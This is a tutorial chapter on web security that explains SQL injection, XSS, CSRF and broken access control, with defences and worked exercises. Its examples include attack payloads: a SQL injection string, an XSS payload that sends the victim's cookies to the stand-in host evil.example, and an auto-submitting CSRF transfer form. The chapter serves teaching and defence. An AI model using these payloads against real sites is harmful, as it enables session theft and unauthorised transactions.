Skip to main content

Common web attacks and defenses

Memorizing "XSS is defended like this" for each attack fails you against attacks whose shape shifts slightly. What works is thinking from the conditions that let it succeed.

Many attacks share a common structure. An untrusted input reaches the place that interprets it as-is. Cut that path and the attack doesn't succeed.

What you'll learn in this chapter​

  • The success conditions and defenses for each of XSS, CSRF, and SQL injection
  • What escaping and placeholders separate
  • Why SameSite alone isn't enough as CSRF defense
  • Why access-control failures rank #1 in the Top 10
Prerequisites

Builds on the authentication/authorization distinction from Authentication and authorization. Basic reading of SQL and HTML makes concrete examples easier to follow.

What this chapter does not cover​

Concrete implementations in frameworks and libraries are covered in context by existing guides.

TopicSee
Comparing storage locationsBrowser storage
Implementing token storage in SPAsReact Guide — SPA authentication
The danger of innerHTMLJavaScript Guide — DOM manipulation
Authentication and authorization designAuthentication and authorization

OWASP Top 10 as a guideline​

As a guideline for which attacks to prioritize, OWASP publishes the Top 10. The 2025 order:

IDCategory
A01Broken Access Control
A02Security Misconfiguration
A03Software Supply Chain Failures
A04Cryptographic Failures
A05Injection
A06Insecure Design
A07Authentication Failures
A08Software or Data Integrity Failures
A09Security Logging and Alerting Failures
A10Mishandling of Exceptional Conditions

Access-control failure at #1 is worth noting. Simple build-in mistakes — "specifying someone else's ID revealed the data" — rank above flashy attacks.

SQL injection​

Success condition​

User input reaches a position where it's interpreted as part of a SQL statement via string concatenation.

// Dangerous
const sql = `SELECT * FROM users WHERE email = '${email}'`;

Setting email to ' OR '1'='1 builds this SQL:

SELECT * FROM users WHERE email = '' OR '1'='1'

The condition is always true; the whole table returns. Worse inputs can drop tables or read other tables.

Defense​

Use placeholders (prepared statements).

// Safe
const rows = await db.query('SELECT * FROM users WHERE email = ?', [email]);

Why this works: the SQL structure and the value are sent to the database separately. The shape of the query is fixed first, and values are bound after. Even if OR '1'='1 is inside a value, it's interpreted as a string value, not as syntax.

"Escape the input" is also discussed, but the order looks like this.

DefenseRating
PlaceholdersFirst choice. Separates structure and value
Input escapingSecond-best. Escaping holes and character-encoding traps exist
Input validationCombine. Insufficient alone
Dynamically building table or column namesPlaceholders don't apply. Restrict via allow-list

Table names and ORDER BY columns can't be passed via placeholders. In that case prepare an allow-list of acceptable values in advance and check membership. The rule is "don't use user input as a column name directly".

Even with an O/R mapper, escape hatches for raw SQL (methods like whereRaw) remain. Concatenating variables there opens the same hole.

XSS (cross-site scripting)​

Success condition​

User input reaches a position where it's interpreted as HTML or JavaScript as-is.

// Dangerous
element.innerHTML = `<div>${userInput}</div>`;

Setting userInput to <img src=x onerror="fetch('https://evil.example/'+document.cookie)"> makes the script run in the viewer's browser.

Impact reaches everything a script can do.

  • Impersonation via stolen cookies or tokens
  • Rewriting the screen to show fake login forms
  • Sending requests that look like the user's own operations

Three types​

TypePath
StoredInput is saved on the server and runs in other users' screens
ReflectedA URL parameter is output onto the page as-is
DOM-basedDoesn't touch the server — client-side JavaScript does a dangerous assignment

Stored has the widest impact; boards and comment sections are typical.

Defense​

Context-appropriate escaping is the basis. What matters here is that required escaping differs per context.

Output contextWhat to escape
HTML text< > & " '
HTML attribute valueAbove, plus quote handling
JavaScript string literalRules different from HTML
URL parameterPercent-encoding
CSS valueCSS rules

Avoid writing escaping functions from scratch. Framework template engines escape by default in most cases, so the practical defense is to not disable that.

// React embeds it as text — safe by default
<div>{userInput}</div>

// This explicitly turns escaping off. It's named accordingly
<div dangerouslySetInnerHTML={{__html: userInput}} />

Default escaping covers the path where a value would be interpreted as HTML structure. The remaining three rows of the table — JavaScript string literals, URL parameters, and CSS values — each follow different rules and are not covered by the default.

There is also a path the table doesn't list. When a whole URL goes into href or src, javascript:alert(1) contains no HTML metacharacters, so there is nothing for escaping to act on. What is needed there is scheme validation (allow only http / https), not escaping.

A complementary defense is CSP (Content Security Policy). Declare in a header which scripts are allowed to run, restricting inline scripts and loads from external domains. A layered defense that reduces damage when escaping is missed.

Placing tokens in localStorage means JavaScript can read them if XSS lands. Cookies with the HttpOnly attribute aren't readable from JavaScript. Pick storage from the angle of limiting damage assuming XSS. The comparison of storage locations is covered in Browser storage.

CSRF (cross-site request forgery)​

Success condition​

A logged-in browser is made to send an unintended request automatically.

The attack succeeds in this order.

  1. The user logs in to bank.example. The browser stores the session cookie
  2. The user opens the attacker's site
  3. The attacker's page submits a form to bank.example
  4. The browser automatically attaches the stored cookie to the request bound for bank.example
  5. The server sees a valid session and processes it as the user's own action
<!-- The attacker's site. Visiting is enough to send -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>

From the server's side, this is hard to tell apart from a legitimate operation. A valid session cookie is attached, the values are well-formed, and it really did come from the user's own browser. Checking authentication lets it through; what's missing is a check that the user intended the operation.

The difference from XSS is that the attacker cannot read the response. The same-origin policy blocks reading, so no data is stolen, but sending isn't blocked, so state-changing operations can be triggered.

Defense​

OWASP's priority order:

PriorityDefenseMechanism
1Synchronizer token patternServer issues an unpredictable token; requests must include it
2Signed double-submit cookieAlternative when server can't hold state. Bind to session via HMAC
3Custom request headersCustom headers hit the same-origin policy; effective for APIs
4SameSite attributeDon't attach cookies to cross-site requests

The first one works because the attacker cannot know the token's value. The server issues an unpredictable value per user and embeds it in its own pages. An attacker's site that tries to load a bank.example page and pull the token out is blocked by the same-origin policy, which stops the response from being read. It uses the same asymmetry that makes CSRF possible — sending is allowed, reading is not — from the defending side.

The point is where #4 sits. OWASP considers SameSite alone insufficient in many environments. Treat it as one layer of defense-in-depth; combine with CSRF tokens or the double-submit pattern. Standalone is enough only when several conditions all hold — no shared registrable domain, no state-changing GETs, and using Strict.

Another important note. XSS defeats all CSRF defenses. If a script runs, it can read the token and forge a legitimate request. CSRF defense sits on top of XSS defense.

Other major attacks​

AttackSuccess conditionDefense
Broken access control (IDOR)Rewriting an ID in URL or parameter reveals someone else's resourceVerify owner-operator match server-side
Path traversalInput containing ../ reaches a file pathNormalize the path and confirm it stays under the base directory
Open redirectRedirect targets can be specified from outsideRestrict targets via allow-list
SSRFThe server makes requests to arbitrary URLsRestrict destinations via allow-list and block internal networks
Insecure deserializationUntrusted data is deserialized into objectsVerify signatures. Use safe formats like JSON

Lining them up reveals a shared pattern. Untrusted input reaches an interpreter without validation. Defenses are shared too: insert either "treat as a value only" or "only accept pre-approved values" somewhere on the path.

How to structure a written answer​

For "list three attacks to watch and explain the defenses", here's how to build it.

Write each attack as a triple to convey understanding rather than memorization.

  1. What happens — what the attacker does and gets
  2. Why it succeeds — what build gets through
  3. The defense and why it works — which success condition it breaks

Whether "why it works" is included is the dividing line. "Use placeholders" reads as memorization; "SQL structure and value are passed separately, so the value's content isn't interpreted as syntax" conveys understanding.

The three to pick — XSS, CSRF, SQL injection — is safe. Even better if you pick three with different natures: "input interpreted as SQL (SQLi)", "input interpreted as HTML (XSS)", "unintended requests sent (CSRF)" — a combination where success mechanisms don't overlap.

If you have room, mentioning that #1 of OWASP Top 10 is access-control failure — and that simple build-in mistakes rank above flashy attacks — shows understanding of priorities.

Common misconceptions​

"Validating input prevents SQL injection." — Validation should be combined but is insufficient alone. First choice is placeholders — separating structure and value.

"Escaping prevents XSS." — Required escaping differs by output context. HTML escaping doesn't defend a JavaScript string literal. Practically, don't disable the framework's default escaping.

"Setting SameSite=Lax completes CSRF defense." — OWASP considers it insufficient alone. Defense-in-depth combined with CSRF tokens is the premise.

"CSRF is an attack that steals information." — The attacker cannot read the response. It isn't about stealing; it makes the user perform state-changing operations.

"XSS and CSRF defenses are independent." — If XSS lands, all CSRF defenses are defeated. CSRF defense sits on top of XSS defense.

Exercises​

Q1. What vulnerabilities does the following code have, and what are the fixes?

app.get('/search', async (req, res) => {
const keyword = req.query.q as string;
const rows = await db.query(
`SELECT * FROM articles WHERE title LIKE '%${keyword}%'`
);
res.send(`<h1>Results for "${keyword}"</h1>` + renderRows(rows));
});
Answer and explanation

Answer: Two — SQL injection and reflected XSS.

1. SQL injection — keyword is concatenated into SQL. Inputs like ' OR '1'='1 rewrite the condition.

// Fix: separate structure and value via a placeholder
const rows = await db.query(
'SELECT * FROM articles WHERE title LIKE ?',
[`%${keyword}%`]
);

Note that % is assembled on the value side. What's passed to the placeholder is the finished search string.

2. Reflected XSS — keyword is embedded straight into HTML. A URL containing <script>...</script> runs when visited.

// Fix: escape as HTML before output
res.send(`<h1>Results for "${escapeHtml(keyword)}"</h1>` + renderRows(rows));

If a template engine is used, letting its default escaping handle it is reliable.

One variable reaches two different interpreters (SQL and HTML) — that's the problem in this code. Both entrances need defense.

Q2. You set SameSite=Strict for CSRF defense. Is that enough?

Answer and explanation

Answer: Not enough. Treat as one layer of defense-in-depth.

OWASP recommends not relying on SameSite alone; combine with CSRF tokens or double-submit. Standalone is enough only when all of these hold:

  • Registrable domain isn't shared with other services (no attack path from subdomains)
  • No state-changing GET requests exist
  • Strict mode is used
  • Origin validation is also in place
  • Non-supporting browsers can be dropped

Also, Strict degrades UX. Users arriving from external links have no cookies sent, so a logged-in user is treated as logged-out.

A realistic setup is "SameSite=Lax + CSRF token". SameSite blocks most; the token catches what slips through.

Q3. An order-detail API GET /api/orders/:id requires login. Anything else to check?

Answer and explanation

Answer: Yes — verify server-side that the order belongs to the requesting user.

Requiring login only handles authentication. A logged-in user can rewrite :id and see someone else's order. This is the textbook Broken Access Control at the top of OWASP Top 10:2025.

// Insufficient — authentication only
const order = await orderRepo.findById(id);
// Needed — verify ownership match
const order = await orderRepo.findById(id);
if (!order || order.userId !== req.user.id) {
return res.status(404).end(); // 404 to hide existence, or 403 not to
}

Which code to return is a design choice. 403 says "we can't show it to you" but leaks that an order with that ID exists. 404 hides existence entirely.

Not linking to other users' orders from the UI isn't a defense. URLs can be typed directly.

Summary​

  • Many attacks share the structure "untrusted input reaches its interpreter as-is"
  • SQL injection's first defense is placeholders. Structure and value are passed separately, so values aren't interpreted as syntax
  • XSS required escaping differs per output context. Practical defense is not disabling the framework's default. CSP is a second layer that reduces damage
  • CSRF isn't about stealing — it forces state-changing operations. SameSite alone isn't enough; combine with CSRF tokens
  • If XSS lands, every CSRF defense is defeated
  • OWASP Top 10:2025 #1 is Broken Access Control. Simple mistakes like ID rewriting exposing others' data are the typical shape
  • Where placeholders don't apply (table names, column names, redirect URLs), restrict via allow-list
Related references
  • Transactions — Descending into the database layer from here